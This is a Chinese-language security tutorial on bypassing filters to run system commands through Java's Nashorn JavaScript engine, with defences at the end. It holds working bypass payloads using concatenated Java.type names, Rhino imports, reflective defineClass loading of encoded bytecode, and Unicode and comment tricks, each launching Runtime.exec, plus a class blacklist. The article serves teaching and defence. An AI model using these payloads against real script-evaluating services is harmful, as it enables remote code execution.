java中js命令执行的攻与防2
字数 1007 2025-08-10 08:28:29
Java中JS命令执行的攻与防2 - 深入解析Nashorn引擎的安全问题
零、前言
本文深入探讨Java中通过Nashorn JavaScript引擎执行命令的安全问题,分析多种绕过防御的方法,并提供相应的防护策略。主要针对JDK8-JDK15版本,因为Nashorn引擎在JDK15中被移除。
一、Nashorn引擎基础使用
Java通过javax.script包调用Nashorn解析引擎:
String test="function fun(a,b){ return a+b; }; print(fun(1,4));";
ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("js"); // 也可以使用"nashorn"
engine.eval(test); // 输出结果为5
二、Nashorn引擎特性分析
2.1 全局变量的属性
Nashorn将所有Java包定义为名为Packages的全局变量的属性:
var a=new Packages.java.lang.String("123");
// 等价于
var a=new java.lang.String("123");
2.2 Java全局对象
Nashorn定义了Java全局对象,包含许多有用的函数:
var JMath=Java.type("java.lang.Math");
print(JMath.max(2,6)); // 输出6
// 获取原始数据类型和数组
var primitiveInt = Java.type("int");
var arrayOfInts = Java.type("int[]");
2.3 兼容Rhino功能
Nashorn保留了Rhino的load()函数和导入功能:
load("nashorn:mozilla_compat.js");
// 导入类
importClass(java.util.HashSet);
var set = new HashSet();
// 导入包
importPackage(java.util);
var list = new ArrayList();
2.4 JavaImporter函数
JavaImporter提供更灵活的包导入方式:
var CollectionsAndFiles = new JavaImporter(java.util, java.io, java.nio);
with (CollectionsAndFiles) {
var files = new LinkedHashSet();
files.add(new File("Plop"));
files.add(new File("Foo"));
}
三、命令执行绕过技术
3.1 使用Java.type方法绕过
var JavaTest= Java.type("java.lang"+"Runtime");
var b =JavaTest.getRuntime();
b.exec("calc");
3.2 使用Rhino兼容功能绕过
// 方法1
load("nashorn:mozilla_compat.js");
importPackage(java.lang);
var x=Runtime.getRuntime();
x.exec("calc");
// 方法2
var importer =JavaImporter(java.lang);
with(importer){
var x=Runtime.getRuntime().exec("calc");
}
3.3 通过ClassLoader反射绕过
var clazz = java.security.SecureClassLoader.class;
var method = clazz.getSuperclass().getDeclaredMethod('defineClass', 'anything'.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);
method.setAccessible(true);
var classBytes = 'yv66vgAAADQAHwoABgASCgATABQIABUKABMAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAJTEV4cGxvaXQ7AQAKRXhjZXB0aW9ucwcAGQEAClNvdXJjZUZpbGUBAAxFeHBsb2l0LmphdmEMAAcACAcAGgwAGwAcAQAEY2FsYwwAHQAeAQAH...'; // 截断的恶意类字节码
var bytes = java.util.Base64.getDecoder().decode(classBytes);
var constructor = clazz.getDeclaredConstructor();
constructor.setAccessible(true);
var clz = method.invoke(constructor.newInstance(), bytes, 0 , bytes.length);
clz.newInstance();
恶意类示例:
import java.io.IOException;
public class Exploit {
public Exploit() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
3.4 Unicode换行符绕过
利用Nashorn解析引擎对Unicode换行符的处理差异:
var test = mainOutput();
function mainOutput() {
var x=java.\u2029lang.Runtime.getRuntime().exec("calc");
};
3.5 注释处理绕过
利用注释处理差异:
var test = mainOutput();
function mainOutput() {
var x=java.lang.//
Runtime.getRuntime().exec("calc");
};
四、防御策略
4.1 黑名单设计
private static final Set<String> blacklist = Sets.newHashSet(
// Java 全限定类名
"java.io.File", "java.io.RandomAccessFile", "java.io.FileInputStream", "java.io.FileOutputStream",
"java.lang.Class", "java.lang.ClassLoader", "java.lang.Runtime", "java.lang.System", "System.getProperty",
"java.lang.Thread", "java.lang.ThreadGroup", "java.lang.reflect.AccessibleObject", "java.net.InetAddress",
"java.net.DatagramSocket", "java.net.DatagramSocket", "java.net.Socket", "java.net.ServerSocket",
"java.net.MulticastSocket", "java.net.MulticastSocket", "java.net.URL", "java.net.HttpURLConnection",
"java.security.AccessControlContext", "java.lang.ProcessBuilder",
//反射关键字
"invoke","newinstance",
// JavaScript 方法
"eval", "new function",
//引擎特性
"Java.type","importPackage","importClass","JavaImporter"
);
4.2 增强的防御措施
- 更严格的注释处理:改进正则表达式以正确处理所有形式的注释
- Unicode字符过滤:过滤或转义所有非标准空白字符
- 沙箱环境:使用SecurityManager限制脚本执行权限
- 白名单机制:只允许特定的安全API调用
五、总结
Nashorn引擎的强大功能带来了多种命令执行的可能性,防御需要从多个层面考虑:
- 理解引擎特性(Java.type、importPackage等)
- 关注反射机制(ClassLoader、defineClass等)
- 注意解析差异(Unicode处理、注释处理)
- 实施多层防御(黑名单+白名单+沙箱)
最安全的做法是尽量避免在Java中执行不受信任的JavaScript代码,或升级到JDK15及以上版本(移除了Nashorn引擎)。